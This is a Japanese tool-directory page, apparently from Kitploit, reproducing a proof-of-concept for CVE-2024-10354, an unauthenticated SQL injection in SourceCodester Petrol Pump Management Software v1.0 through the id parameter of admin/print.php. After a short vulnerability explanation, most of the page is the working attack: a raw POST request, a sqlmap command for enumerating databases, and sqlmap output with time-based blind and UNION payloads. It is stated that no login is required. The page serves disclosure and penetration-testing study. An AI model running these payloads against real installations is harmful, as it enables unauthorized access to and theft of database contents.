Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/k1nakoo/cve-2024-10354
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト
GitHubk1nakoo/cve-2024-10354

CVE-2024-10354

CVE-2024-10354の概念実証エクスプロイト。SourceCodester Petrol Pump Management Software v1.0のSQLインジェクションです。admin/print.phpを介した未認証の時間ベースのブラインドおよびUNIONクエリインジェクションを示し、データベースの内容を抽出します。

リポジトリを見る
1年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ソースコード

Petrol pump management software 無料ダウンロード | SourceCodester

説明

sourcecodester の Petrol pump management software v1.0 における SQL インジェクションの脆弱性。高リスクと評価される脆弱性が発見され、admin\print.php ファイルの一部の不明な機能に影響を及ぼします。パラメータ id を使用して悪意のある SQL 文を構築し、機密情報を取得することで、被害を引き起こします

脆弱性の分析

admin\print.php

image-20241023155634643

ここでは、ユーザー入力 $_POST['id'] が SQL クエリ文に連結されており、明らかに SQL インジェクション攻撃に対して脆弱です

脆弱性の再現

image-20241023160251059

root@kitploit:~
POST /admin/print.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

id=1*

パケットを保存し、sqlmap で攻撃します

root@kitploit:~
payload:
python3 sqlmap.py --random-agent --batch -r data.txt --risk 3 --dbs

image-20241023160627277

root@kitploit:~
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 8405 FROM (SELECT(SLEEP(5)))RBvx) AND 'WWQR'='WWQR

    Type: UNION query
    Title: Generic UNION query (NULL) - 16 columns
    Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706271,0x744d4a644a516944425443614f4c594948754b4a746356615251435951444f72597a74534274424a,0x71706a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---

パケットを見ると、Cookie 値を追加していません。これは、認証が不要で、ログインせずにリモートから攻撃を仕掛けられることを示しています

このペイロードは、時間ベースのブラインドと UNION クエリという 2 つの注入方法を利用しており、データベース名の注入に成功していることがわかります

ツールをダウンロード